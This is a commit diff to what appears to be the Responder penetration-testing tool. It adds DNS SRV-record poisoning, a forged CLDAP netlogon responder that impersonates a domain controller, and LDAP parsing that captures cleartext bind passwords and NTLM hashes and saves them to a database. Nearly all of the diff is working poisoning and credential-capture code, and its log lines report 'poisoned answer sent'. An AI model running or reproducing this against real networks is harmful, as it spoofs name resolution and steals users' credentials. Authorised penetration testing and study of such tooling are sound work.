Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping

This commit is contained in:
lgandx 2021-04-12 20:42:36 -03:00
commit 1271b8e179
5 changed files with 313 additions and 17 deletions

View file

@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from packets import DNS_Ans
from packets import DNS_Ans, DNS_SRV_Ans
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
@ -23,9 +23,11 @@ else:
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
# If Type A, Class IN, then answer.
return QueryTypeClass == "\x00\x01\x00\x01"
if QueryTypeClass == "\x00\x01\x00\x01":
return "A"
if QueryTypeClass == "\x00\x21\x00\x01":
return "SRV"
@ -37,12 +39,19 @@ class DNS(BaseRequestHandler):
try:
data, soc = self.request
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode == False:
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception:
pass
@ -56,12 +65,19 @@ class DNSTCP(BaseRequestHandler):
try:
data = self.request.recv(1024)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode is False:
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception:
pass

View file

@ -19,18 +19,67 @@ if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge, CLDAPNetlogon
from utils import *
import struct
import codecs
import random
def GenerateNetbiosName():
return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
def CalculateDNSName(name):
if isinstance(name, bytes):
name = name.decode('latin-1')
name = name.split(".")
DomainPrefix = struct.pack('B', len(name[0])).decode('latin-1')+name[0]
Dnslen = ''
for x in name:
if len(x) >=1:
Dnslen += struct.pack('B', len(x)).decode('latin-1')+x
return Dnslen, DomainPrefix
def ParseCLDAPNetlogon(data):
#data = NetworkSendBufferPython2or3(data)
try:
Dns = data.find(b'DnsDomain')
if Dns is -1:
return False
DnsName = data[Dns+9:]
DnsGuidOff = data.find(b'DomainGuid')
if DnsGuidOff is -1:
return False
Guid = data[DnsGuidOff+10:]
if Dns:
DomainLen = struct.unpack(">B", DnsName[1:2])[0]
DomainName = DnsName[2:2+DomainLen]
if Guid:
DomainGuidLen = struct.unpack(">B", Guid[1:2])[0]
DomainGuid = Guid[2:2+DomainGuidLen]
return DomainName, DomainGuid
except:
pass
def ParseSearch(data):
TID = data[8:9].decode('latin-1')
if re.search(b'Netlogon', data):
NbtName = GenerateNetbiosName()
TID = NetworkRecvBufferPython2or3(data[8:10])
DomainName, DomainGuid = ParseCLDAPNetlogon(data)
DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1])
t.calculate()
return str(t)
if re.search(b'(objectClass)', data):
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1')))
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
SSPIStart = data.find(b'NTLMSSP')
@ -92,6 +141,59 @@ def ParseNTLM(data,client, Challenge):
elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data, client, Challenge)
def ParseCLDAPPacket(data, client, Challenge):
if data[1:2] == b'\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[10:11]
sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == b'\x60':
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
if AuthHeaderType == b'\x80':
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen].decode('latin-1')
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserDomain,
'cleartext': Password,
'fullhash': UserDomain+':'+Password,
})
if sasl == b'\xA3':
Buffer = ParseNTLM(data,client, Challenge)
return Buffer
elif Operation == b'\x63':
Buffer = ParseSearch(data)
return Buffer
elif settings.Config.Verbose:
print(text('[LDAP] Operation not supported'))
if data[5:6] == b'\x60':
UserLen = struct.unpack("<b",data[11:12])[0]
UserString = data[12:12+UserLen].decode('latin-1')
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
if settings.Config.Verbose:
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserString,
'cleartext': PassStr,
'fullhash': UserString+':'+PassStr,
})
def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == b'\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
@ -100,8 +202,9 @@ def ParseLDAPPacket(data, client, Challenge):
sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == b'\x60':
if Operation == b'\x60':#Bind
if "ldap" in data:# No Kerberos
return False
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
@ -148,7 +251,7 @@ def ParseLDAPPacket(data, client, Challenge):
class LDAP(BaseRequestHandler):
def handle(self):
try:
self.request.settimeout(0.4)
self.request.settimeout(1)
data = self.request.recv(8092)
Challenge = RandomChallenge()
for x in range(5):
@ -159,3 +262,17 @@ class LDAP(BaseRequestHandler):
except:
pass
class CLDAP(BaseRequestHandler):
def handle(self):
try:
data, soc = self.request
Challenge = RandomChallenge()
for x in range(1):
Buffer = ParseCLDAPPacket(data,self.client_address[0], Challenge)
if Buffer:
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
data, soc = self.request
except:
pass